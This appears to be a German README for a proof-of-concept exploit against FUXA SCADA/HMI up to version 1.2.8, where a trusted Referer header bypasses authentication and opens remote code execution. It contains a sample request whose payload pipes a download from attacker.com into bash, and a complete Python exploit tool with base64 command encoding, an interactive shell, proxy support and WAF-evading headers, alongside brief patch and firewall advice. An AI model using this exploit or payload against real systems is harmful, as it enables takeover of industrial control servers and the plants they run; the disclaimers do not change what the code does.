
PoC-Exploit für CVE-2025-69985: Authentifizierungsumgehung, die zu RCE in FUXA SCADA ≤1.2.8 führt. Beinhaltet einen modularen Python-Exploit mit interaktiver Shell, Base64-Payload-Kodierung und Proxy-Unterstützung für Penetrationstests.
Dieses Repository enthält einen Proof-of-Concept (PoC) und detaillierte technische Dokumentation zur Schwachstelle CVE-2025-69985, die FUXA (Versionen ≤1.2.8) betrifft. Die Schwachstelle ermöglicht es einem nicht authentifizierten Angreifer, beliebige Befehle auf dem Server (RCE) durch eine Authentifizierungsumgehung in der Middleware der Anwendung auszuführen.
Im Gegensatz zu traditionellen Schwachstellen wie Speicherüberläufen unter Windows beruht dieser Fehler auf einer logischen Schwäche in der Middleware, bei der der Server externe Anfragen mit internen verwechselt, aufgrund einer fehlerhaften Validierung des Referer-Headers.
| CVE | CVE-2025-69985 |
|---|---|
| Typ | Authentication Bypass via Alternate Path (CWE-288) |
| Auswirkung | Remote Code Execution (RCE) |
| Schweregrad | 9.8 KRITISCH (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| Betroffene Versionen | FUXA ≤ 1.2.8 |
| Plattform | Node.js |
| Produkt | FUXA (webbasiertes SCADA/HMI) |
Die Middleware von FUXA vertraut blind dem Referer-Header. Wenn ein Angreifer eine Anfrage mit folgendem Header sendet:
Referer: http://<target-ip>/
geht der Server davon aus, dass die Anfrage intern ist und überspringt die Überprüfung des JWT-Tokens, was den Zugriff auf geschützte Endpunkte ohne Authentifizierung ermöglicht.
Nachdem die Authentifizierung umgangen wurde, kann der Angreifer mit dem Endpunkt /api/runscript interagieren, der zum Ausführen von Node.js-Skripten entwickelt wurde. Durch das Senden einer bösartigen JSON-Nutzlast wird die vollständige Kontrolle über den Serverprozess erlangt.
POST /api/runscript HTTP/1.1
Host: target-fuxa.local
Referer: http://target-fuxa.local
Content-Type: application/json
{
"script": "require('child_process').exec('curl http://attacker.com | bash')",
"parameters": {}
}
⚠️ Hinweis: Dieses Beispiel dient nur zur Veranschaulichung. Nicht in Produktionsumgebungen ohne Genehmigung ausführen.
| Produkt | Versionen | Plattform |
|---|---|---|
| FUXA | ≤ 1.2.8 | Node.js |
Sofortige Aktualisierung Aktualisieren Sie FUXA auf eine Version höher als 1.2.8 (offizielles Patch).
Manueller Patch
Ändern Sie server/api/jwt-helper.js, um das Vertrauen in den Referer-Header als Authentifizierungsmethode zu entfernen.
Implementierung einer WAF
Konfigurieren Sie eine Web Application Firewall, um Anfragen an den Endpunkt /api/runscript zu blockieren, die nicht von bekannten administrativen Netzwerken stammen, unabhängig vom Referer-Header.
🔴 Dieses Material dient ausschließlich Bildungs- und Sicherheitsauditzwecken. 🔴 Die Verwendung dieser Techniken gegen Systeme ohne ausdrückliche Genehmigung ist eine Straftat. 🔴 Die Autoren übernehmen keine Verantwortung für den Missbrauch dieser Informationen.
Erweiterte Funktionen, die diesen Exploit auf professionelles Niveau heben (Stil Exploit-DB oder Red-Team-Tools):
fuxa-exploit.py)import requests
import argparse
import sys
import urllib3
import base64
from typing import Optional
# Konfiguration Ästhetik
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class Logger:
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BLUE = '\033[94m'
RESET = '\033[0m'
@staticmethod
def info(msg): print(f"{Logger.BLUE}[*]{Logger.RESET} {msg}")
@staticmethod
def success(msg): print(f"{Logger.GREEN}[+]{Logger.RESET} {msg}")
@staticmethod
def warn(msg): print(f"{Logger.YELLOW}[!]{Logger.RESET} {msg}")
@staticmethod
def error(msg): print(f"{Logger.RED}[-]{Logger.RESET} {msg}")
class FuxaExploit:
def __init__(self, base_url: str, proxy: Optional[str] = None):
self.base_url = base_url.rstrip('/')
self.session = requests.Session()
self.session.verify = False
if proxy:
self.session.proxies = {"http": proxy, "https": proxy}
self.session.headers.update({
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0",
"Referer": f"{self.base_url}/fuxa"
})
def check_vulnerable(self) -> bool:
"""Überprüft, ob der Endpunkt existiert, bevor angegriffen wird."""
try:
r = self.session.get(f"{self.base_url}/api/runscript", timeout=10)
return r.status_code in [401, 405, 200] # Abhängig von der WAF/App-Konfiguration
except Exception:
return False
def execute(self, command: str) -> str:
# Verbesserte Nutzlast: Base64-Kodierung, um JSON-Brüche zu vermeiden
b64_cmd = base64.b64encode(command.encode()).decode()
js_code = (
f"const c = Buffer.from('{b64_cmd}', 'base64').toString();"
"const r = require('child_process').execSync(c);"
"return r.toString();"
)
payload = {
"params": {
"script": {
"id": "exp", "name": "exp",
"code": js_code, "test": js_code
}
}
}
try:
r = self.session.post(f"{self.base_url}/api/runscript", json=payload, timeout=20)
return r.text.strip() if r.status_code == 200 else f"Error: {r.status_code}"
except Exception as e:
return f"Exception: {str(e)}"
def main():
parser = argparse.ArgumentParser(description="CVE-2025-69985 - FUXA Professional Exploit Tool")
parser.add_argument("-u", "--url", required=True, help="Target URL")
parser.add_argument("-c", "--cmd", help="Einzelner auszuführender Befehl")
parser.add_argument("-i", "--interactive", action="store_true", help="Eine pseudo-interaktive Shell starten")
parser.add_argument("--proxy", help="HTTP-Proxy (z.B. http://127.0.0.1:8080)")
args = parser.parse_args()
exploit = FuxaExploit(args.url, args.proxy)
Logger.info(f"Ziel: {args.url}")
if args.interactive:
Logger.success("Wechsel in den interaktiven Modus. Geben Sie 'exit' ein, um zu beenden.")
while True:
try:
cmd = input(f"{Logger.GREEN}fuxa-shell$ {Logger.RESET}").strip()
if cmd.lower() in ['exit', 'quit']: break
if not cmd: continue
print(exploit.execute(cmd))
except KeyboardInterrupt: break
elif args.cmd:
Logger.info(f"Führe aus: {args.cmd}")
print(exploit.execute(args.cmd))
else:
parser.print_help()
if __name__ == "__main__":
main()
⚠️ Verantwortungsvoller Einsatz: Nur in kontrollierten Umgebungen und mit ausdrücklicher Genehmigung ausführen.
| Funktion | Beschreibung |
|---|
| 🔹 Dynamische Shell-Verwaltung | Modus --interactive (-i), der eine interaktive REPL zum Ausführen mehrerer Befehle öffnet. |
| 🔹 Erkennung und Fingerprinting | Überprüft, ob der Endpunkt /api/runscript existiert, bevor der Angriff gestartet wird (check_vulnerable()). |
| 🔹 Verbesserte Nutzlast | In Base64 codierter Befehl, um Escape-Probleme mit Zeichen (&, >, ", usw.) zu vermeiden. |
| 🔹 Netzwerkrobustheit | Unterstützung für zufällige User-Agents und Proxys (nützlich für Burp Suite oder Debugging). |
| 🔹 OOP (Objektorientierte Programmierung) | Modulare, wiederverwendbare und erweiterbare Klasse FuxaExploit. |
| Funktion | Vorteil |
|---|
| 🔹 OOP | Modularität: Die Klasse FuxaExploit kann in andere Skripte oder Tools importiert werden. |
| 🔹 Base64 Bypass | Vermeidet Escape-Probleme bei komplexen Befehlen (z.B. &, >, ", usw.). |
🔹 Pseudo-Shell (-i) | Ermöglicht interaktive Untersuchung des Systems ohne Neustart des Skripts. |
| 🔹 Proxy-Unterstützung | Nützlich zum Debuggen des Exploits mit Tools wie Burp Suite oder mitmproxy. |
| 🔹 Realistische Header | Browser-User-Agent zum Umgehen grundlegender WAF-Signaturen. |